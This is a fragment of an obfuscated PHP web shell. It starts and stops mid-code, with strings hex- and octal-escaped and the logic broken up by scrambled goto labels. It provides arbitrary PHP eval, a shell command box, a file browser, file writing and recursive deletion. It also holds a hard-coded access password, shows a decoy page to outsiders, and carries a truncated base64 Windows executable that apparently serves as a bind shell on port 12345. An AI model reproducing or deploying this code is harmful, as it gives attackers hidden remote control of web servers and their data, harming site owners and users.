"\x22\x20\57\x3e\12\x3c\164\141\x62\x6c\x65\x20\143\x6c\x61\x73\x73\75\42\164\x62\x6c\x42\157\170\42\40\x73\164\x79\154\145\x3d\x22\x77\151\144\164\150\72\x35\66\60\160\170\73\x22\x3e\12\74\x74\162\x3e\x3c\164\144\x20\163\x74\x79\x6c\145\75\x22\x77\151\x64\x74\150\x3a\x31\62\x30\x70\x78\73\x22\76\116\145\x77\40\123\150\x65\x6c\x6c\x6e\141\x6d\145\74\57\x74\x64\x3e\x3c\164\144\40\163\x74\x79\154\145\75\42\167\x69\144\164\150\72\x33\x30\64\160\x78\73\42\x3e\12\74\x69\156\x70\x75\164\40\x73\164\171\x6c\145\75\x22\x77\x69\x64\164\x68\72\63\x30\60\160\170\x3b\42\x20\x74\171\x70\145\75\x22\164\145\x78\164\x22\x20\x6e\x61\x6d\x65\x3d\x22\x63\150\x69\x6c\144\156\141\x6d\x65\42\x20\166\x61\154\165\145\75\42" . $shell_name . "\56\x70\150\160\x22\73\x20\x2f\x3e\12\74\x2f\x74\144\76\x3c\164\x64\x3e\74\x69\156\160\165\164\x20\163\164\171\x6c\x65\75\42\167\151\144\x74\x68\x3a\x31\x30\60\160\170\x3b\42\x20\164\x79\160\x65\x3d\42\163\x75\142\x6d\151\x74\x22\40\143\154\x61\163\x73\75\42\142\164\156\x22\x20\156\141\x6d\145\x3d\42\142\x74\156\x4e\x65\x77\x63\x68\151\x6c\x64\x22\x20\x76\x61\x6c\165\145\x3d\42\103\162\x65\141\x74\145\x22\x20\x2f\x3e\xa\x3c\x2f\164\144\76\x3c\x2f\x74\162\x3e\xa\74\x2f\x74\141\x62\154\145\x3e\12\74\x2f\146\157\162\x6d\x3e\xa\74\57\144\x69\x76\76\xa\74\x64\x69\166\x20\x63\154\141\163\163\75\x22\150\151\144\x64\145\x6e\42\40\x69\144\75\42\x64\x69\x76\137\x65\166\x61\x6c\42\x3e\12\x3c\x66\157\162\x6d\40\x6d\x65\164\x68\x6f\144\x3d\42\147\x65\x74\x22\40\141\x63\164\x69\x6f\156\x3d\x22\x3f\42\40\x73\164\x79\x6c\145\x3d\42\144\151\163\160\154\x61\171\x3a\x69\x6e\x6c\151\156\x65\73\x6d\x61\162\147\151\156\72\x30\73\160\141\x64\144\x69\156\147\x3a\60\73\x22\76\12\74\151\156\160\165\164\40\x74\171\160\x65\75\x22\150\151\x64\144\x65\156\x22\x20\x6e\x61\155\x65\75\42\144\x69\162\x22\x20\166\141\154\165\145\x3d\x22" . $xCwd . "\x22\x20\x2f\76\xa\x3c\164\141\x62\x6c\x65\x20\x63\154\141\x73\163\75\x22\164\142\x6c\102\157\x78\42\40\x73\164\171\x6c\145\x3d\x22\x77\151\144\164\x68\72\x35\x36\x30\160\170\73\42\x3e\12\x3c\x74\x72\x3e\74\164\x64\x3e\xa\74\164\x65\x78\x74\x61\x72\x65\141\40\x6e\x61\155\x65\75\x22\145\166\141\x6c\x22\40\x73\164\171\x6c\x65\x3d\42\167\x69\144\164\150\72\61\60\60\45\73\x68\145\x69\147\150\164\x3a\x31\x30\60\x70\x78\73\42\x3e\74\57\x74\x65\x78\x74\141\x72\x65\141\76\12\x3c\x2f\164\x64\76\74\57\x74\162\x3e\74\x74\162\x3e\12\x3c\164\x64\40\163\164\171\154\145\75\42\x74\x65\x78\164\55\141\x6c\151\x67\x6e\x3a\162\x69\147\x68\x74\x3b\x22\76\x3c\x69\156\160\x75\x74\x20\x73\164\x79\154\145\75\42\x77\151\x64\x74\x68\x3a\61\x30\60\x70\x78\x3b\x22\x20\x74\x79\x70\145\75\42\x73\x75\142\155\x69\x74\x22\x20\x63\154\141\163\x73\x3d\x22\142\x74\156\42\40\x6e\141\x6d\145\x3d\x22\x62\x74\x6e\x45\x76\x61\x6c\42\x20\166\141\x6c\165\x65\75\x22\x45\x76\141\x6c\x22\x20\x2f\x3e\74\57\x74\144\76\74\x2f\164\x72\x3e\xa\x3c\x2f\x74\141\142\x6c\145\76\xa\x3c\x2f\146\157\162\155\x3e\12\x3c\x2f\x64\151\166\x3e\12\x3c\144\151\x76\40\143\154\x61\x73\163\x3d\42\142\x6f\x74\x74\x6f\155\167\x72\141\x70\160\x65\162\x22\76\12\x3c\x64\x69\x76\x20\143\x6c\x61\163\x73\75\x22\143\155\x64\142\x6f\170\x22\76\xa\74\146\157\162\155\40\141\x63\x74\x69\x6f\156\75\x22\77\42\40\155\145\164\x68\157\x64\x3d\42\147\145\164\42\76\xa\74\x69\x6e\x70\x75\164\40\x74\x79\x70\145\x3d\42\x68\x69\x64\144\145\156\x22\40\156\141\x6d\x65\75\x22\x64\x69\162\x22\40\166\x61\x6c\165\x65\x3d\42" . $xCwd . "\x22\x20\x2f\76\xa\x3c\x74\x61\x62\154\145\40\x73\x74\x79\154\145\x3d\x22\x77\151\144\x74\150\x3a\61\x30\x30\45\x3b\42\x3e\74\164\162\x3e\xa\74\x74\144\40\x73\x74\x79\154\x65\x3d\42\167\151\144\x74\x68\x3a\70\70\x25\73\42\x3e\74\x69\x6e\160\x75\164\40\164\x79\160\x65\x3d\42\x74\x65\170\x74\x22\40\x69\144\x3d\x22\143\x6d\144\42\x20\x6e\141\x6d\145\75\x22\x63\x6d\144\42\40\x76\141\x6c\165\145\75\42\42\x20\163\164\171\154\145\75\42\167\x69\144\x74\150\x3a\61\60\60\45\x3b\x22\x20\x2f\76\x3c\57\x74\x64\x3e\xa\74\164\144\40\x73\164\x79\x6c\x65\75\x22\167\x69\x64\x74\150\72\61\60\x25\x3b\x22\x3e\74\x69\x6e\160\x75\x74\40\x74\171\160\x65\x3d\x22\163\x75\142\x6d\x69\x74\x22\40\143\154\141\x73\x73\x3d\42\142\x74\156\x22\40\x6e\141\155\145\x3d\x22\x62\x74\156\x43\157\x6d\155\141\x6e\x64\42\x20\x73\x74\x79\154\x65\75\x22\167\151\x64\x74\x68\x3a\x31\x32\x30\x70\170\x3b\x22\x20\x76\141\154\x75\x65\75\42\105\170\x65\x63\165\164\x65\42\x20\57\76\x3c\x2f\164\144\76\x3c\57\164\x72\x3e\x3c\x2f\x74\141\x62\x6c\x65\76\12\74\x2f\146\x6f\x72\155\x3e\xa\x3c\57\144\151\166\x3e\12\x3c\x64\x69\166\40\143\x6c\141\163\163\75\x22\x72\x65\163\x75\x6c\x74\42\x20\x69\144\x3d\x22\162\145\163\x75\x6c\x74\x22\76\12" . $result . "\xa\x3c\x2f\x64\x69\166\76\x3c\x2f\144\151\x76\x3e\74\57\144\x69\166\x3e\74\x2f\x64\151\x76\76\12"; } else { $html_title = $shell_fake_name; $html_head = "\x3c\x74\151\164\154\x65\x3e" . $html_title . "\74\57\x74\x69\164\x6c\x65\76" . $shell_style; $html_body = "\74\x64\151\x76\40\x73\x74\x79\154\x65\75\42\x6d\x61\x72\147\x69\x6e\72\x33\x30\160\170\73\x22\x3e\12\74\144\151\x76\x3e\12\x3c\146\x6f\x72\x6d\x20\141\x63\164\x69\x6f\x6e\75\42\x3f\42\x20\x6d\x65\x74\150\x6f\144\x3d\42\x70\157\163\164\x22\x3e\12\x3c\151\x6e\x70\165\164\40\151\x64\x3d\x22\143\x6d\144\42\x20\x74\171\x70\x65\75\42\x74\x65\x78\164\42\x20\x6e\x61\155\145\75\x22\160\x61\163\x73\167\x22\40\166\x61\x6c\x75\x65\x3d\x22\42\x20\57\x3e\12\x3c\x69\156\160\x75\x74\40\x74\171\x70\145\75\42\163\x75\142\x6d\x69\164\x22\x20\156\x61\155\x65\75\x22\142\164\x6e\160\141\x73\x73\x77\x64\42\40\166\141\x6c\x75\145\75\x22\x4f\153\42\40\57\x3e\xa\74\57\x66\x6f\x72\155\x3e\xa\74\x2f\x64\x69\166\x3e\12\74\x64\x69\166\40\x73\164\x79\x6c\145\75\42\146\157\156\164\55\163\x69\x7a\x65\x3a\x31\x30\160\x78\73\42\76" . $shell_fake_name . "\x3c\57\144\x69\166\x3e\xa\74\57\144\151\x76\76\xa"; } goto wLURt; UQGVJ: $shell_title = "\x20\72\72\x20" . $shell_name . "\40\x3a\x3a"; goto I8RPX; tz9uN: function xdrive() { $letters = ''; foreach (range("\101", "\x5a") as $letter) { $bool = @is_dir($letter . "\x3a\134"); if ($bool) { $letters .= "\x3c\141\x20\150\x72\145\146\x3d\42\77\144\x69\x72\x3d" . $letter . "\72\134\42\x3e\74\x73\160\x61\156\x20\x63\154\x61\x73\163\x3d\42\147\x61\x75\154\42\76\133\x20\x3c\x2f\x73\x70\141\156\x3e"; $letters .= $letter; $letters .= "\x3c\163\x70\x61\156\40\143\154\141\163\x73\75\42\147\x61\165\x6c\42\76\x20\x5d\x3c\57\x73\160\x61\156\74\x2f\141\x3e\40"; } } if ($letters != '') { $letters .= "\x3c\142\162\40\57\x3e"; } return $letters; } goto K6YeM; n0Kd5: $xHeader = $xSoftware . "\74\x62\x72\40\57\76" . $xSystem . "\74\142\162\40\57\76\x53\x65\162\166\145\162\x20\111\120\x3a\x20\x3c\x73\x70\141\156\40\143\x6c\x61\x73\163\75\x22\x67\x61\x75\x6c\42\x3e\x5b\40\x3c\x2f\x73\160\141\156\x3e" . $xServerIP . "\x3c\163\160\x61\x6e\40\143\154\141\x73\x73\75\42\147\x61\x75\x6c\42\76\x20\x5d\74\57\163\160\x61\x6e\76\x26\x6e\142\x73\160\x3b\46\x6e\142\x73\160\x3b\46\156\142\x73\160\x3b\131\157\165\x72\40\111\120\x3a\x20\x3c\x73\x70\141\156\x20\143\154\x61\163\163\75\x22\x67\141\x75\x6c\42\76\133\x20\74\x2f\x73\x70\x61\156\76" . $xClientIP . "\74\x73\160\x61\156\x20\x63\154\x61\x73\x73\75\x22\x67\141\x75\x6c\42\76\40\x5d\x3c\x2f\163\160\x61\156\76"; goto o3Hsf; YnICT: $shell_password = "\x64\145\x76\151\154\172\x63\60\144\145\162"; goto mr5Cn; RoEKb: function xtempfolder() { if (!empty($_ENV["\124\115\x50"])) { return realpath($_ENV["\x54\x4d\x50"]); } if (!empty($_ENV["\x54\x4d\120\x44\x49\x52"])) { return realpath($_ENV["\124\115\120\104\x49\122"]); } if (!empty($_ENV["\x54\105\x4d\x50"])) { return realpath($_ENV["\x54\105\115\120"]); } $tempfile = tempnam(__FILE__, ''); if (file_exists($tempfile)) { unlink($tempfile); return realpath(dirname($tempfile)); } return null; } goto dSWuc; Qc6fD: $html_final = "\x3c\150\x74\x6d\x6c\x3e\xa\x3c\150\145\141\144\76\12" . $html_head . "\xa\x3c\57\x68\x65\x61\x64\76\xa\x3c\142\x6f\x64\x79\40" . $html_onload . "\76\12\74\144\x69\x76\40\151\144\x3d\x22\155\x61\151\156\x77\162\141\x70\160\x65\x72\x22\76\xa" . $html_body . "\12\74\57\144\x69\166\76\12\x3c\57\x62\157\144\x79\x3e\12\74\x2f\150\x74\155\x6c\x3e"; goto rzxvz; Ynili: function xfilesummary($file) { $buff = ''; if (is_file($file) || is_link($file)) { $buff = "\106\x69\x6c\x65\x73\x69\x7a\x65\40\x3a\40" . xparsefilesize(xfilesize($file)) . "\40\50\x20" . xfilesize($file) . "\40\51\x20\x3c\163\160\x61\156\x20\143\x6c\141\163\x73\x3d\42\147\x61\x75\154\42\76\40\x3a\x3a\x20\74\x2f\x73\x70\141\x6e\76\x50\x65\x72\155\x69\163\x73\x69\157\x6e\40\72\x20" . xfileperms($file) . "\40\x28\x20" . xfileowner($file) . "\40\51\74\163\x70\141\156\x20\x63\154\141\x73\x73\75\x22\x67\141\x75\x6c\42\x3e\x20\72\72\40\x3c\x2f\163\x70\141\x6e\76\x6d\x6f\x64\151\146\x69\x65\144\40\x3a\40" . xfilelastmodified($file); } return $buff; } goto VzaOw; KlIEK: $xSystem = trim(php_uname()); goto tJNgh; dSWuc: function xrmdir($dir) { $files = glob($dir . "\x2a", GLOB_MARK); foreach ($files as $f) { if (is_dir($f)) { xrmdir($f); } else { unlink($f); } } if (is_dir($dir)) { rmdir($dir); } } goto i8NO5; mlpU0: function xclean($text) { if (get_magic_quotes_gpc()) { $text = stripslashes($text); } return $text; } goto BNqz_; Ocjbv: function xparsedir($dir) { $xSlash = DIRECTORY_SEPARATOR; $dirs = explode($xSlash, $dir); $buff = ''; $dlink = ''; $system = trim(php_uname()); if (strtolower(substr($system, 0, 3)) != "\167\151\156") { $dlink .= urlencode($xSlash); $buff .= "\x3c\x61\40\x68\162\x65\146\75\x22\x3f\x64\151\x72\75" . $dlink . "\x22\x3e" . $xSlash . "\74\x2f\141\76\x26\x6e\x62\x73\x70\x3b"; } foreach ($dirs as $d) { $d = trim($d); if ($d != '') { $dlink .= urlencode($d . $xSlash); $buff .= "\74\141\x20\x68\162\x65\146\75\x22\x3f\144\x69\162\x3d" . $dlink . "\42\76" . $d . "\x20" . $xSlash . "\74\x2f\141\x3e\46\x6e\142\163\160\x3b"; } } return "\74\x73\160\x61\156\40\x63\154\141\x73\x73\75\42\x67\141\x75\x6c\42\x3e\133\40\x3c\x2f\x73\x70\141\x6e\76" . $buff . "\74\163\160\x61\x6e\40\x63\x6c\x61\163\163\75\42\x67\141\x75\x6c\x22\x3e\40\135\x3c\x2f\x73\x70\x61\156\76"; } goto JQYjm; mr5Cn: $shell_fav_port = "\61\x32\x33\x34\x35"; goto E3cYn; HaSJA: function xfilesave($file, $content) { $dir = substr($file, 0, strrpos($file, DIRECTORY_SEPARATOR)); if (!is_dir($dir)) { mkdir($dir); } if ($file != '') { $handle = fopen($file, "\167\142"); if (fwrite($handle, $content) || $content == '') { fclose($handle); return true; } fclose($handle); } return false; } goto RoEKb; fxXUi: function xeval($code) { $code = xclean($code); @ob_start(); @eval($code); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } goto dANsM; cxcLS: $wBind = "\124\126\x71\x51\x41\101\x4d\x41\x41\101\101\x45\x41\x41\101\101\57\x2f\x38\x41\x41\114\147\x41\101\x41\x41\x41\x41\x41\x41\101\121\101\x41\101\x41\x41\101\101\101\101\101\101\101\101\x41\x41\x41\101\x41\x41\101\101\101\101\x41\x41\101\x41\101\101\x41\x41\101\101\101\101\101\101\x41\x41\101\101\101\101\12\101\x41\x41\101\x79\x41\x41\101\101\x41\x34\146\x75\x67\x34\x41\164\101\156\116\x49\142\x67\x42\124\x4d\60\150\126\x47\150\160\143\x79\x42\167\x63\155\x39\x6e\x63\x6d\x46\164\x49\x47\x4e\x68\142\x6d\x35\x76\144\103\x42\151\132\123\x42\x79\144\x57\64\147\141\127\x34\x67\122\x45\x39\124\x49\x47\x31\x76\xa\x5a\107\125\165\104\x51\x30\113\x4a\101\101\101\101\101\101\101\101\101\x41\60\107\x41\153\x35\143\110\154\156\x61\156\x42\65\132\x32\x70\x77\x65\127\x64\x71\155\x47\x5a\x73\141\156\x46\x35\x5a\62\162\x7a\132\x57\x6c\x71\145\x6e\x6c\x6e\x61\x6e\102\65\132\x6d\160\116\x65\127\x64\161\x45\x6d\132\60\xa\x61\156\x64\x35\132\62\x71\x59\132\155\61\x71\x61\156\154\156\x61\154\112\x70\x59\62\x68\x77\x65\127\144\161\x41\101\101\x41\101\x41\101\101\x41\101\x42\x51\122\121\x41\101\124\x41\x45\x44\x41\111\153\114\x6c\x44\70\101\101\x41\x41\101\x41\x41\x41\101\x41\x4f\x41\101\x44\x77\105\114\x41\121\x59\x41\xa\101\x44\101\x41\101\x41\x41\121\x41\x41\x41\101\x51\x41\x41\101\131\x48\111\x41\101\x41\102\x51\101\101\x41\x41\x67\101\x41\101\x41\x41\x42\x41\x41\101\101\x51\101\101\101\x41\101\x67\x41\x41\102\x41\101\x41\x41\101\101\101\x41\101\x41\105\101\101\101\x41\x41\101\x41\x41\101\101\103\121\x41\101\x41\x41\xa\105\x41\101\x41\x41\101\101\x41\x41\x41\x49\x41\x41\101\x41\x41\101\102\101\101\x41\x42\101\x41\x41\x41\x41\x41\105\101\x41\101\x45\x41\101\101\x41\101\101\x41\x41\102\101\101\101\x41\x41\x41\101\x41\x41\x41\101\x41\x41\x41\101\x41\x43\101\101\x41\x41\111\x41\121\x41\x41\x41\101\x41\101\101\101\x41\x41\xa\x41\x41\x41\101\101\x41\101\101\101\x41\101\x41\101\101\101\101\x41\101\101\101\x41\101\101\x41\101\x41\101\x41\101\101\x41\x41\101\101\101\101\x41\x41\x41\101\101\101\x41\x41\x41\x41\101\101\x41\101\x41\x41\101\x41\x41\x41\101\101\101\101\101\101\x41\101\101\x41\x41\x41\101\101\101\101\101\101\x41\x41\xa\x41\101\x41\x41\101\x41\101\101\x41\101\101\101\101\101\101\x41\x41\101\101\x41\x41\x41\x41\x41\x41\101\101\x41\101\x41\101\x41\x41\x41\101\x41\x41\101\101\x41\x41\x41\101\x41\x41\101\101\x41\x41\101\x41\x41\x41\x41\x41\x41\101\101\101\x41\101\101\x41\101\101\x46\x56\121\127\104\101\101\x41\x41\x41\x41\12\x41\x45\x41\101\101\x41\x41\x51\101\101\101\x41\101\x41\x41\101\101\x41\x51\101\101\x41\x41\x41\101\x41\x41\x41\101\101\x41\x41\101\101\101\x41\x41\x49\101\x41\x41\117\102\x56\125\x46\147\x78\101\101\x41\x41\101\x41\101\167\101\x41\x41\101\x55\101\101\x41\101\x43\x51\101\101\101\101\x45\101\x41\x41\101\xa\x41\101\x41\101\x41\x41\101\101\101\101\101\x41\101\x41\102\x41\x41\x41\x44\147\126\x56\x42\131\115\x67\x41\101\101\101\101\101\105\101\101\x41\x41\111\101\101\101\101\x41\103\101\x41\x41\x41\113\x41\101\x41\x41\x41\101\101\x41\x41\101\x41\x41\101\101\x41\101\x41\101\x41\x51\x41\101\101\x77\101\x41\101\12\101\101\101\x41\101\x41\101\x41\x41\101\101\101\x41\101\101\101\101\101\x41\x41\101\101\x41\101\101\101\101\101\x41\x41\x41\x41\101\x41\101\x41\x41\x41\x41\101\x41\101\x41\x41\x41\x41\x41\101\101\101\x41\x41\101\x41\x41\101\x41\101\101\101\101\101\101\x41\101\x41\101\101\x41\x41\x41\x41\x41\101\101\101\xa\x41\x41\101\101\x41\x41\101\x41\x41\x41\101\x41\x41\x41\x41\x41\101\x41\x41\x41\101\x41\101\101\x41\x41\x41\101\x41\101\x41\101\x41\101\x41\x41\101\101\101\101\101\101\101\x41\x41\101\101\x41\x41\101\101\x41\101\x41\x41\101\101\101\101\x41\x41\101\101\x41\101\x41\101\101\x41\101\101\101\x41\101\x41\x41\xa\x41\x41\101\101\101\x41\x41\101\x41\101\101\101\101\101\x41\x41\101\x41\x41\x41\101\101\x41\x41\101\x41\101\x41\x41\101\101\101\101\x41\101\101\101\x41\101\x41\x41\101\x41\101\x41\x41\x41\x41\x41\x41\101\101\101\x41\101\101\101\x41\101\x41\101\x41\101\101\101\101\x41\x41\101\101\x41\x41\101\x41\x41\x41\xa\101\101\x41\101\101\x41\x41\x41\101\x41\101\101\101\x41\x41\101\101\101\x41\x41\101\x41\101\101\101\x41\101\x41\101\x41\101\101\x41\x41\101\x41\101\x41\101\101\x41\x41\x41\101\101\101\x41\x41\101\101\x41\x41\x41\101\x41\x41\101\101\101\x41\101\101\101\x41\x41\101\101\x41\101\x41\x41\101\101\101\101\101\12\x41\101\101\x41\x41\x41\101\101\101\x41\101\101\x41\x41\101\101\101\101\101\101\x41\101\x41\101\x41\x41\101\101\101\x41\101\101\101\101\101\101\x41\101\x41\x41\101\101\101\x41\101\x41\x41\101\x41\101\101\x41\101\x41\101\x41\x41\x41\101\x41\x41\x41\x41\101\x41\x41\x41\101\101\x41\101\101\101\x41\x41\101\xa\x41\101\x41\101\x41\101\x41\x41\101\x41\x41\101\101\101\x41\101\x41\x41\101\x41\x41\x41\x41\101\101\101\101\x41\x41\x41\101\101\101\101\101\101\101\101\101\101\x41\101\x41\x41\101\x41\x41\101\101\x41\101\x41\101\x41\x41\x41\x41\101\x41\x41\101\101\x41\x41\x41\x41\101\101\101\x41\101\101\101\101\101\101\xa\x41\101\x41\x41\101\101\x41\101\x41\x41\x41\101\101\101\x41\x41\101\101\x41\101\101\x41\101\101\x41\x41\101\101\x41\101\101\x41\101\x41\x41\101\x41\x41\101\x41\x41\x41\101\101\x41\101\x41\101\x41\x41\101\x41\101\101\x41\101\x41\101\101\x41\101\x41\101\101\x41\101\101\101\101\x41\101\x41\101\101\x41\101\xa\x41\101\x41\101\101\x41\x41\x41\x41\101\x41\101\101\x41\x41\101\101\x41\x41\101\x41\101\101\101\115\171\64\167\116\x41\102\x56\x55\x46\147\150\104\x51\x6b\x43\x43\142\117\145\131\x55\x30\x31\126\x62\x35\x48\66\x31\121\101\x41\106\125\151\x41\101\x41\101\x59\101\x41\x41\x4a\x67\115\101\x44\x43\x66\153\12\x2f\x2f\53\104\x66\x43\121\105\102\130\125\111\141\147\104\57\106\x54\x42\x41\x51\101\104\103\x42\x41\x43\121\165\x43\x78\x30\x33\57\67\x2f\x45\x67\101\101\x36\x41\x4d\x41\102\x53\x78\124\126\126\132\x58\141\x41\101\121\111\62\147\167\125\x45\x41\x75\110\116\61\166\63\x39\x36\114\60\114\x6b\110\12\110\147\101\x7a\167\111\x31\x47\120\120\x4f\162\165\101\x51\x4d\166\x2f\x61\130\63\x62\163\121\x42\111\154\x45\112\105\x41\x44\x52\111\60\x38\115\71\164\121\125\157\x6b\x66\71\x6e\x61\x7a\x2f\x55\x53\x4a\x58\103\x52\x51\116\147\171\150\x65\x46\x59\x45\x76\166\x64\x6c\x4a\x2f\x36\166\x2b\57\x2b\x44\12\x2b\x41\107\x4a\144\x43\121\125\146\x68\x79\x4c\x44\x59\x51\124\125\127\x6b\130\147\70\x51\105\132\x6a\166\x44\x62\x48\146\x2f\x37\152\x34\125\144\x51\121\144\x6a\132\x51\x6b\162\106\116\x53\141\147\111\x2b\71\110\x62\57\165\x74\x2b\x46\167\101\53\106\121\167\111\70\120\125\x63\x44\x66\x58\x35\x54\12\x41\x47\157\102\53\67\x37\x37\53\x78\67\x6f\154\120\101\x37\x38\172\131\x59\x44\64\x51\145\101\160\164\124\123\141\x33\x70\x75\161\64\147\147\102\x51\110\112\x41\x4d\x6f\x4c\103\160\x37\166\155\62\x62\70\x47\142\110\103\x68\x77\153\151\x30\x77\153\x46\106\106\101\67\125\63\x33\x5a\x2b\x78\x55\12\112\x42\102\155\x76\x52\64\143\x55\x6c\x42\127\x64\132\104\165\143\160\104\143\172\x51\x46\161\x43\x68\104\x6b\130\152\146\x73\132\x72\x79\x4c\x4c\125\x54\124\124\150\x44\53\127\x2f\x37\164\61\164\x61\x56\x49\x49\x74\165\x47\111\61\x4d\112\x42\103\116\x56\x46\x46\x47\x2f\x76\x59\147\x57\x35\x7a\147\12\x64\x4e\120\x70\65\147\111\x51\141\x42\x41\156\x41\102\x62\117\x5a\150\160\x48\x51\x50\62\111\x56\x4e\x41\x62\x62\164\61\110\x4f\x39\116\60\x73\x4a\x4d\121\x75\64\x76\x78\x57\x53\172\x42\x75\x2f\57\57\167\x75\153\103\130\x49\x76\x4f\147\53\105\x44\x38\x36\157\120\166\x30\157\x4b\x69\x31\x49\x4d\xa\151\x38\x45\x59\x4d\x49\x76\113\x39\65\x36\x2f\115\150\161\x6c\x69\70\x69\153\170\x74\105\x73\150\107\70\x49\167\143\153\131\172\x55\131\x64\x36\126\66\x37\163\102\154\117\57\x77\x44\x6d\64\x53\x78\x62\x35\167\x59\x5a\62\104\x55\x59\x74\106\x68\101\x31\144\x31\63\x6c\167\x31\x32\120\101\112\x6f\12\102\x4f\x4e\x53\170\x34\x51\153\x6a\x4e\147\x42\172\x6e\x35\x34\x63\x77\x74\115\x6e\103\123\121\x34\67\x51\x6b\155\101\x61\x63\110\164\164\70\124\66\x41\x41\172\x7a\x79\116\166\104\161\x44\171\x66\x2f\107\x37\x6e\146\143\x77\x6d\x68\121\114\166\113\165\x39\x39\106\x4a\x69\132\x2f\107\x68\101\103\141\12\x70\x75\155\66\107\126\167\x48\x52\127\x56\102\131\x32\155\141\x72\155\x6c\x47\x65\102\x39\x43\142\125\146\x54\x6d\145\70\107\x51\x77\x64\153\x69\x4a\x77\115\123\101\x35\105\x39\x34\163\71\x57\171\x35\x6d\x4f\111\122\x36\x72\61\x42\x52\66\x62\x5a\x4e\x31\61\157\121\66\x77\127\62\x58\106\x4e\123\12\61\104\123\x44\x36\121\160\x48\x64\121\x34\101\x34\x64\122\63\x48\120\53\121\142\x67\x46\106\x43\x38\170\146\130\154\61\142\147\143\124\152\64\131\65\x48\116\x76\153\111\147\53\167\121\x36\104\x50\164\x56\70\157\113\154\67\166\x48\x36\x41\x63\125\111\x42\103\112\142\x4d\60\125\x2f\155\142\x72\12\101\x78\167\70\x54\107\x67\57\101\x41\x38\x41\x56\x56\126\115\x52\x6d\162\x2f\114\106\x51\x45\53\104\x76\x39\x64\110\154\x2f\x47\x6c\144\x65\x65\x50\x66\x5a\x45\167\147\144\x41\101\125\x37\x78\130\x51\x46\x2b\x74\x50\x72\x57\x66\166\144\x74\116\153\125\123\104\x30\153\111\x6e\126\115\x56\121\x42\127\xa\126\x5a\143\117\143\x37\x64\x64\x4d\166\70\x42\x53\127\147\x34\116\x7a\167\x51\x73\62\x32\x6c\x66\x2b\x69\106\x37\x58\x51\152\154\x51\106\x56\x54\x52\x51\x4c\142\x74\166\x4f\x4e\121\172\127\111\116\141\60\126\154\x74\x78\x63\x34\61\114\x4a\x52\104\103\x61\x36\x6c\144\x69\x53\63\x74\x39\x6d\142\112\xa\x66\110\x67\x42\117\x54\61\x73\125\x67\160\53\x45\x53\104\166\x66\x6e\146\66\x61\x67\x69\113\102\x6c\x42\x50\x4b\x51\x6a\162\x45\x49\163\x56\131\106\64\172\x79\x59\x6f\x4f\x6a\x2f\x48\x66\x2f\x59\157\x45\123\157\x50\147\x43\x4a\147\x44\x52\x75\166\121\x67\x44\x34\x41\x64\107\x61\x37\151\124\123\x46\12\61\156\x35\67\x75\x34\x41\107\121\x4b\115\115\117\x6b\x59\70\111\156\125\x59\102\x67\x57\x79\x37\130\57\57\x64\x41\x74\x47\150\115\102\x30\x51\147\x70\x31\71\125\x62\x47\x42\147\101\61\x6d\x6d\x55\145\x4f\x38\x6c\155\x79\121\x35\122\104\x36\x46\153\60\157\x6f\127\53\x71\60\144\127\126\102\61\12\172\x68\x38\57\171\x58\121\103\x36\x38\x74\x58\x4f\107\x6c\157\x42\170\103\x55\107\101\x63\101\x4e\152\162\x4d\63\106\x49\x41\x2b\115\146\117\172\111\x44\171\110\x32\166\66\132\x59\165\162\147\70\x63\x42\146\147\x38\x50\164\x67\x64\x71\x43\x4e\154\145\x36\x58\61\132\x57\145\163\117\114\107\124\106\xa\x51\121\162\57\71\x72\x4b\106\x77\x45\146\x72\60\x68\x55\x33\122\64\120\x2b\114\131\166\x75\x62\x47\x47\164\x31\71\157\107\113\x7a\x55\x50\144\153\115\x73\x5a\167\x2f\x37\104\x47\x6f\105\x56\153\101\x4c\x6f\x54\x78\x77\x42\120\x33\x32\x37\x39\x38\116\152\x51\123\142\152\126\170\x47\60\104\104\162\12\172\64\x50\71\x51\163\x4e\x31\x41\166\146\x59\171\142\67\x62\53\x70\114\x44\x2f\x30\x4d\105\116\147\x53\x4d\127\x63\120\115\x41\102\60\146\157\x38\x42\x52\120\121\x4a\x78\103\110\x49\125\x67\125\111\x56\x76\57\x32\x78\63\172\64\x74\105\111\x55\102\x46\63\x50\x73\113\70\151\114\170\x41\x79\x4c\12\64\x59\x73\x49\151\53\x48\x2f\152\131\x56\101\x41\163\115\x68\x37\x46\x47\x4c\122\121\x69\x4e\x53\101\107\102\53\x51\103\x66\x73\x48\122\67\x74\x6e\143\115\166\x51\53\x33\x76\165\x74\123\164\x31\142\x2f\x2f\x2b\x32\166\x31\167\x37\102\53\121\151\102\x30\146\x5a\x45\x56\x67\x47\101\130\x6e\x51\117\xa\x67\107\130\x2b\x41\x49\x68\116\x2f\111\63\114\x64\165\117\111\x52\x66\60\147\x36\x77\x6b\x4e\57\125\130\x38\x32\162\130\x74\x6a\57\132\131\152\125\60\113\102\122\x4e\x52\125\x49\x30\121\x55\101\166\146\142\162\x6a\x51\156\x51\x64\155\x78\x42\170\117\101\163\156\104\x55\x30\125\x4b\111\60\127\171\12\131\x34\x48\x66\104\x4d\x6c\x30\x61\166\x2b\x71\x51\126\113\x55\x49\x75\110\x47\145\x2f\x64\153\157\121\x41\101\x55\107\123\x4a\112\x51\146\x67\127\106\x4e\151\70\x53\116\143\145\111\x6c\x6c\x36\111\x6c\60\121\x4b\166\125\x69\122\x58\64\x56\x4e\x74\63\x6e\71\65\x68\x79\111\x48\150\57\70\147\x4e\12\71\x41\x33\x42\64\x51\147\x44\x79\147\x72\167\x33\x41\53\67\120\x2b\147\x51\x6f\x2b\x77\110\115\57\132\106\x45\126\160\x5a\142\162\163\63\165\x67\60\x77\110\x41\163\107\x31\x6f\154\x31\x2f\x41\x67\120\x72\x2b\x79\67\71\x6b\153\127\157\x78\x68\141\102\101\x38\x4f\146\141\x50\x51\126\x41\x6c\x73\12\x32\x32\x5a\63\104\x44\101\105\x43\x33\x63\x49\x6d\123\x76\x51\164\66\x54\x33\x2f\172\x4d\x4e\x43\x45\121\127\110\64\154\106\x6e\120\x5a\106\x30\101\106\60\102\x72\x73\60\x76\123\x31\167\x31\x4f\163\104\x57\x6c\x67\x64\x64\x5a\x78\x57\157\x58\x41\x4c\166\62\130\x58\x55\103\x4d\104\104\x4b\x41\x49\xa\x43\x4d\132\x48\67\x47\126\104\66\121\61\126\103\131\154\x4e\x6d\117\172\x4f\103\x5a\163\62\x46\x37\67\x64\167\64\166\110\144\x5a\147\x65\x31\53\x33\131\126\110\x55\x46\127\117\60\147\x37\101\x30\124\x61\114\x77\x54\x6f\x51\x6d\x56\142\x41\x68\172\x35\x58\x68\123\114\171\x52\132\112\x58\150\114\xa\x4